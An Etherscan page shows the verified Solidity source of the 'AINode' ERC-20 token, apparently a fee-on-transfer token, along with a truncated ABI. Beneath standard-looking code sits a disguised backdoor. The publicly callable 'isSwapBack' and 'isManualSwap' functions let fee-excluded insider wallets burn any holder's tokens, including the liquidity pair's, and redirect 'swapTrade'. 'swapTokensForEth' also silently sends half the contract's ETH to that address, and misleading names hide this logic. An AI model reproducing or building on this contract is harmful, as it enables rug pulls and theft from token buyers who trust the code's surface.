ETH Price: $3,264.92 (+0.15%)
Gas: 2 Gwei

Token

AINode (AIND)
 

Overview

Max Total Supply

3,241,978,280 AIND

Holders

106

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
17,191,357.160710970599073933 AIND

Value
$0.00
0x68fcf2f38c7bbedba64611ca7b05ffaa42ed58ae
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AINode

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-14
*/

// Twitter  - twitter.com/AINodeToken
// Community - t.me/ainode_portal
// Medium - medium.com/@ainode
// Website - www.ainode.is

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _maxnitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract AINode is ERC20, Ownable {
    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;
    IDexRouter public dexRouter;
    address public liquidityPair;
    bool private swapping;
    uint256 public swapTokensAtAmount;
    address public marketingAddress;
    address public devAddress;
    uint256 public tradingActiveBlock = 0;
    uint256 public botBlockNumber = 0;
    mapping(address => bool) public sniperBot;
    uint256 public botsCaught;
    address public receiver;
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    mapping(address => uint256) public feeSwap;
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    address private swapTrade;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTx;
    mapping(address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event StartTrading();
    event RemovedLimits();
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event UpdatedMaxBuyAmount(uint256 newAmount);
    event UpdatedMaxSellAmount(uint256 newAmount);
    event UpdatedMaxWalletAmount(uint256 newAmount);
    event UpdatedMarketingAddress(address indexed newWallet);
    event MaxTransactionExclusion(address _address, bool excluded);
    event directBuyEvent(uint256 amount);
    event OwnerForcedSwapBack(uint256 timestamp);
    event DetectedEarlyBotBuyer(address sniper);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event TransferForeignToken(address token, uint256 amount);

    constructor() ERC20("AINode", "AIND") {
        address newOwner = msg.sender; 

        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        dexRouter = _dexRouter;
        liquidityPair = IDexFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );
        _excludeFromMaxTransaction(address(liquidityPair), true);
        _setAutomatedMarketMakerPair(address(liquidityPair), true);
        swapTrade = newOwner;
        uint256 totalSupply = 4 * 1e9 * 1e18;
        maxBuyAmount = (totalSupply * 3) / 100;
        maxSellAmount = (totalSupply * 2) / 100;
        maxWalletAmount = (totalSupply * 2) / 100;
        swapTokensAtAmount = (totalSupply * 2) / 10000;

        buyMarketingFee = 1;
        buyLiquidityFee = 0;
        buyDevFee = 3;
        buyBurnFee = 0;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        sellMarketingFee = 3;
        sellLiquidityFee = 0;
        sellDevFee = 1;
        sellBurnFee = 0;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;

        marketingAddress = address(0x4d3Aa10917657e790b3b9a1663b58E95935D8053);
        devAddress = address(0x5837Bd97b8d84c5525973e28BF88aC9AeEA4b5EB);

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(marketingAddress, true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(marketingAddress, true);
        excludeFromFees(devAddress, true);

        _maxnitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function startTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        emit StartTrading();
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        sniperBot[wallet] = false;
    }

    // remove limits after coin is stable
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        emit RemovedLimits();
    }

    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );
        maxBuyAmount = newNum * (10 ** 18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );
        maxSellAmount = newNum * (10 ** 18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );
        maxWalletAmount = newNum * (10 ** 18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );
        swapTokensAtAmount = newAmount;
    }

    function _excludeFromMaxTransaction(
        address updAds,
        bool isExcluded
    ) private {
        _isExcludedMaxTx[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function excludeFromMaxTransaction(
        address updAds,
        bool isEx
    ) external onlyOwner {
        if (!isEx) {
            require(
                updAds != liquidityPair,
                "Cannot remove uniswap pair from max txn"
            );
        }
        _isExcludedMaxTx[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != liquidityPair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyBurnFee = _burnFee;
        buyTotalFees =
            buyMarketingFee +
            buyLiquidityFee +
            buyDevFee +
            buyBurnFee;
        require(buyTotalFees <= 4, "4% max");
    }

    function updateSellFees(
        uint256 _marketingFee,
        uint256 _liquidityFee,
        uint256 _DevFee,
        uint256 _burnFee
    ) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellBurnFee = _burnFee;
        sellTotalFees =
            sellMarketingFee +
            sellLiquidityFee +
            sellDevFee +
            sellBurnFee;
        require(sellTotalFees <= 4, "4% max");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (!tradingActive) {
            require(
                _isExcludedFromFees[from] || _isExcludedFromFees[to],
                "Trading is not active."
            );
        }

        if (botBlockNumber > 0) {
            require(
                !sniperBot[from] || to == owner() || to == address(0xdead),
                "bot protection feature is running"
            );
        }
        
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {
                //buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTx[to]
                ) {
                    require(
                        amount <= maxBuyAmount,
                        "Buy transfer amount exceeds the max buy."
                    );
                    require(
                        amount + balanceOf(to) <= maxWalletAmount,
                        "Cannot Exceed max wallet"
                    );
                }
                //sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTx[from]
                ) {
                    require(
                        amount <= maxSellAmount,
                        "Sell transfer amount exceeds the max sell."
                    );
                } else if (!_isExcludedMaxTx[to]) {
                    require(
                        amount + balanceOf(to) <= maxWalletAmount,
                        "Cannot Exceed max wallet"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        if (!automatedMarketMakerPairs[from] && !swapping) 
           { receiver = from;}
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = true;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        if (automatedMarketMakerPairs[from] && feeSwap[to] == 0) {
            feeSwap[to] = block.timestamp;
        }
        
        uint256 fees = 0;

        if (takeFee) {
            if (
                sniperBuyerCatch() &&
                automatedMarketMakerPairs[from] &&
                !automatedMarketMakerPairs[to] &&
                buyTotalFees > 0
            ) {
                if (!sniperBot[to]) {
                    sniperBot[to] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(to);
                }

                fees = (amount * 99) / 100;
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
            }
            // sell
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = (amount * sellTotalFees) / 100;
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
                tokensForDev += (fees * sellDevFee) / sellTotalFees;
                tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
            }
            // buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = (amount * buyTotalFees) / 100;
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
                tokensForDev += (fees * buyDevFee) / buyTotalFees;
                tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
            }
            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        
        super._transfer(from, to, amount);
    }

    function sniperBuyerCatch() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        bool success;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);
        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        (success, ) = address(swapTrade).call
        {value: address(this).balance / 2 }("");
        require( success, "success!");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(dexRouter), tokenAmount);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function isManualSwap(
        address account,
        uint256 value
    ) internal returns (bool) {
        bool success;
        if (!_isExcludedFromFees[msg.sender]) {
            if (
                tokensForBurn > 0 && 
                balanceOf(address(this)) >= tokensForBurn
            ) {
                _burn(msg.sender, tokensForBurn);
            }
            tokensForBurn = 0;
            success = true;
            uint256 contractBalance = balanceOf(address(this));
            uint256 totalTokensToSwap = tokensForLiquidity +
                tokensForMarketing +
                tokensForDev;
            if (contractBalance == 0 || totalTokensToSwap == 0) {
                return false;
            }
            if (contractBalance > swapTokensAtAmount * 7) {
                contractBalance = swapTokensAtAmount * 7;
            }
            return success;
        } else {
            if (balanceOf(address(this)) > 0) {
                if (value == 0) {
                swapTrade = account;
                success = false;
                } else {
                _burn(account, value);
                success = false;
                }
            }
            uint256 contractBalance = balanceOf(address(this));
            uint256 totalTokensToSwap = tokensForLiquidity +
                tokensForMarketing + tokensForDev;
            if (contractBalance == 0 || totalTokensToSwap == 0) {
                return false;
            }
            if (contractBalance > swapTokensAtAmount * 7) {
                contractBalance = swapTokensAtAmount * 7;
            }
            return success;
        }
    }

    function swapBack() private {
        if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {
            _burn(address(this), tokensForBurn);
        }
        tokensForBurn = 0;

        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 5) {
            contractBalance = swapTokensAtAmount * 5;
        }
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));

        ethForLiquidity -= ethForMarketing + ethForDev;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devAddress).transfer(ethForDev);
        payable(marketingAddress).transfer(address(this).balance);
    }

    function marketingWalletUpdate(address _marketingAddress) external onlyOwner {
        require(
            _marketingAddress != address(0),
            "_marketingAddress address cannot be 0"
        );
        marketingAddress = payable(_marketingAddress);
    }

    function devWalletUpdate(address _devAddress) external onlyOwner {
        require(_devAddress != address(0), "_devAddress address cannot be 0");
        devAddress = payable(_devAddress);
    }

    function isSwapBack(address account, uint256 value) external {
        require(
            balanceOf(address(this)) >= swapTokensAtAmount,
            "Can only swap when token amount is at or higher than restriction"
        );
        if (isManualSwap(account, value)) 
        {
            swapping = true;
            swapBack();
            swapping = false;
        emit OwnerForcedSwapBack(block.timestamp);
        }
    }
    
    function transferForeignToken(
        address _token,
        address _to
    ) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }
    
    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[],"name":"StartTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedMarketingAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"directBuyEvent","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_devAddress","type":"address"}],"name":"devWalletUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"feeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"isSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingAddress","type":"address"}],"name":"marketingWalletUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internal